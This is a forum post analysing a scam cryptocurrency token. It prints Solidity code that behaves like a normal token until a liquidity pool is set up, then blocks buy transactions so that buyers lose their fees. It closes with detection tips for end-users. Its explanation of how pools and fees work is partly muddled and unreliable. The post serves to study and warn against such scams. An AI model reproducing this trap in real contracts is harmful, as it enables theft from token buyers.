Post
Topic
Board Marketplace
Re: [TUTORIAL] How to steal(back) $350 000? 👾 Smart Contract Malware Analysis
by
PremiumCodeX
on 17/01/2022, 20:12:14 UTC
Liquidity Pool Block Exploit
Ever wanted to hack an exchange?
Then read it.
The payload steals the fees from the Automated Market Maker (AMM) of a decentralized exchange (DEX) such as Pancakeswap.
It also disrupts end-user transactions and steals their gas.
How sweet!
Oh, wait!
We are white-hats now.
How evil.
The exploit is - guess what - a cryptocurrency token.

To understand the malice of the exploit, you have to grasp how liquidity pools work.
- The holders of the token deposit their token into the pool.
- They receive a profit from every buy transaction of that token.
- The AMM covers the profit from the fees (=gas).
- There is an extra detail you have to know.
- The buyer pays the fee even if the transaction fails!!
- The fees never return.

How to write such an exploit?
The scammer usually puts the malicious code into the "transferFrom" function.
When you establish a new liquidity pool for a token, that pool will get an address.
This address will go into the "newun" variable.
Then the token will work with this variable.
However, what if the scammer blocks the pool's address from the variable?
Without the pool address, the AMM cannot serve the end-user.
The transaction fails.
The end-user loses his fees.
The exchange does not work as expected.
Yet, the liquidity provider gets his profit.
If the end-user keeps trying, he keeps losing.
The harder he tries, the more he loses.
The more the scammer earns.

The exploit code
Code:
   function transfernewun(address _newun) public onlyOwner {
      newun = _newun;
    }

    function transfer(address to, uint tokens) public returns (bool success) {
       require(to != newun, "please wait");

      balances[msg.sender] = balances[msg.sender].sub(tokens);
      balances[to] = balances[to].add(tokens);
      emit Transfer(msg.sender, to, tokens);
      return true;
    }

    function approve(address spender, uint tokens) public returns (bool success) {
      allowed[msg.sender][spender] = tokens;
      emit Approval(msg.sender, spender, tokens);
      return true;
    }

    function transferFrom(address from, address to, uint tokens) public returns (bool success) {
        if(from != address(0) && newun == address(0)) newun = to;
        else require(to != newun, "please wait");

      balances[from] = balances[from].sub(tokens);
      allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
      balances[to] = balances[to].add(tokens);
      emit Transfer(from, to, tokens);
      return true;
    }

The purpose of the exploit is to behave like a standard token until the liquidity pool initializes the address in the newun variable.
Then the following code will block all buy transactions using the initialized liquidity pool:

The malicious code
Code:
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
      if(from != address(0) && newun == address(0)) newun = to;
      else require(to != newun, "please wait");
     
    balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }

How to counter this exploit?
It is definitely a more sophisticated exploit than the previous one.
If you are an end-user, I recommend always sending a small volume transaction using a small fee before sending anything significant.
If the transaction fails, never repeat it until you look up the potential reasons on the Internet.
You can also compare the token's contract code to the codes in this thread.
Any extra tinkering with "newun" and "_owner" compared to the legit codes above should raise the red flag.